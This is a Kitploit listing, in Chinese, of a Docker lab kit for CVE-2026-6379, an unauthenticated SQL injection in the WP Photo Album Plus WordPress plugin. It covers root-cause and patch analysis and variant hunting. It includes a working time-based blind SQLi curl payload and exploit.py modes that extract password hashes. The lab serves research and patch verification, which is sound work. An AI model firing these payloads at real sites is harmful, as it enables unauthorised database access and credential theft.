Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/dinosn/cve-2026-6379
漏洞分析漏洞利用Web应用程序漏洞利用Web安全CTF渗透测试学习与教育实验室与实践
GitHubdinosn/cve-2026-6379

cve-2026-6379

基于 Docker 的实验室套件,针对 CVE-2026-6379——WP Photo Album Plus 中的未认证 SQL 注入漏洞。包含基于时间的盲注 PoC、根因分析以及补丁验证,适用于授权安全研究。

查看仓库
225个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-6379 — WP Photo Album Plus < 9.1.11.001 — 未认证 SQL 注入

参数: wppa-supersearch 严重性: 根据 WPScan/Wordfence,CVSS 8.6(高危) 厂商修复: 2026-04-17(WordPressBugBounty 镜像中的提交 d2b0d05d) 公开披露: 2026-04-27(WPScan)

此工具包为您提供自包含的 Docker 实验环境和可用的 PoC,以便您能够端到端地复现、验证和教学该漏洞。


快速上手

# 在实验主机上:
cd lab && ./setup.sh
# 当安装程序打印 "=== LAB READY ===" 并附带 page_id 时:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash

存在漏洞的目标对 SLEEP 探测的响应时间约为 ~5s;已修补的目标响应时间小于 <1s。

手动单行检查:

curl -sS -o /dev/null -w "%{time_total}\n" \
  "http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"

目录结构

cve-2026-6379-wppa/
├── README.md                  # 本文件
├── docs/
│   ├── writeup.md             # 根因 + 补丁分析
│   └── prompts.md             # 提炼出本工具包的 AI 研究提示词
├── lab/
│   ├── docker-compose.yml     # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│   ├── setup.sh               # 启动 / 拆除 / 清理
│   └── init/install.sh        # 幂等安装程序(wp-cli)
└── pocs/
    ├── exploit.py             # 基于时间的盲注 SQLi(探测 / 版本 / 用户 / 哈希)
    └── test_oracle.sh         # 端到端集成测试

漏洞原理(一段话)

wppa_get_photos() 将请求参数 wppa-supersearch 解析为 CSV 格式的 s1,type,s3,DATA。当 type='o'(所有者)时,DATA 被直接拼接进 SQL 字符串:

$query = "SELECT id FROM $wpdb->wppa_photos
          WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";

没有引号转义,也没有使用 $wpdb->prepare。设置 wppa-supersearch=,o,,x' OR (...)-- - 可以逃逸被引号包裹的所有者字段并执行任意 SQL。该端点是承载 [wppa] 短代码的公共前端页面,因此无需任何认证。

修复方案是将所有此前直接拼接的用例包裹在 $wpdb->prepare(..., %s) 中。


同一补丁修复的注入点(提交 d2b0d05d)

CVE-2026-6379 补丁重写了 wppa-functions.php 中 wppa_get_photos() 内的六个不同 SQL 注入点。两个 PoC 模式(probe 和 probe-calendar)分别命中其中相互独立的注入点;其余注入点仅在载荷形式上有所不同。所有注入点均无需认证,并可通过与主注入点相同的 wppa-occur=N 门控条件访问。

#注入点(存在漏洞的行)触发参数PoC 模式
1owner — WHERE owner = '$data'(第 1244 行)wppa-supersearch=,o,,…--mode probe(已在线验证)
2name — WHERE sname = '<wppa_name_slug($data)>'(第 1237 行)wppa-supersearch=,n,,…未利用(slug 过滤器会去除引号)
3tag — WHERE tags LIKE '%$d%'(第 1254 行)wppa-supersearch=,g,,…受 wppa_sanitize_tags() 限制
4日历 exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%'(第 1361 行)wppa-calendar=exifdtm&wppa-caldate=…--mode probe-calendar(已在线验证)
5日历 timestamp — WHERE timestamp >= $t1 AND timestamp < $t2(第 1368 行)wppa-calendar=timestamp&wppa-caldate=…数值强制转换(intval)— 受限
6日历 modified — 与 timestamp 相同(第 1375 行)wppa-calendar=modified&wppa-caldate=…数值强制转换 — 受限

第 #4–#6 行还在同一提交中移除了一个悬空的 ORDER BY $order 片段 — 请参阅下方的“相关加固”。


与 CVE-2026-6379 一同发现的相关问题

针对同一存在漏洞的构建版本对 wppa-functions.php 进行更广泛的审计,发现了 CVE-2026-6379 补丁范围之外的注入点。这些并非 WPScan/Wordfence 所发布的内容,且并非所有注入点都同样可利用,但在此记录以便实验环境也可用于变体挖掘。

stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — 可能为独立漏洞

状态: 存在于 9.1.11.001(补丁后)。d2b0d05d 未解决此问题。可作为后续 CVE 的候选。

%s 不适用于逗号分隔的 IN 列表(它始终只生成一个带引号的字符串)。插件通过将预处理语句包裹在 stripslashes() 中来绕过此问题,而该函数会移除 prepare() 刚刚添加的转义 — 如果列表中的任何元素受到攻击者污染,则会重新打开注入面。

代表性出现位置:wppa-functions.php 第 660、711、831、838、889、895、900、971、1028、1034、1041、1122、1144、1190、1410、1414、1465、1470、1476、1481、1491 行。

用于变体分析的搜索查询:

docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
  /var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php

ORDER BY $order — 部分解决

补丁从日历/IN 子句注入点中移除了 ORDER BY $order,但在其他位置仍保留。$order 来自插件运行时状态(设置表)— 可利用性需要对该状态存在写入路径。请将其视为加固项。

wp_strip_all_tags() 用作 SQL 清理器(#4 的变体)

wp_strip_all_tags 去除的是 HTML,而非 SQL。只要它出现在带引号的 SQL 片段周围,该片段就可被注入。除 caldate 之外,请审计任何在拼接前流经此函数的其他请求值。


验证矩阵

状态probeprobe-calendar
存在漏洞(9.1.10.011)[+] VULNERABLE — ~5.0s ≥ 3.5s[+] VULNERABLE — ~5.0s ≥ 3.5s
已修补(9.1.11.001)[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
插件已禁用[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
无 [wppa] 短代码的页面[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s

在运行中的实验环境上切换版本:

# 已修补:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
  plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
  --allow-root || true
# 重新运行探测;应为阴性结果。

安全须知

  • 仅在隔离网络上运行。 该漏洞无需认证。
  • 实验环境使用默认 WP 凭据 admin / adminadmin — 切勿暴露到互联网。
  • 使用 ./setup.sh purge 进行拆除(会删除数据库卷)。

参考

  • WPScan:https://wpscan.com/plugin/wp-photo-album-plus/
  • 补丁提交:https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/commit/d2b0d05d
  • wppa-functions.php(存在漏洞):https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.php
  • wppa-functions.php(已修补):https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php
下载工具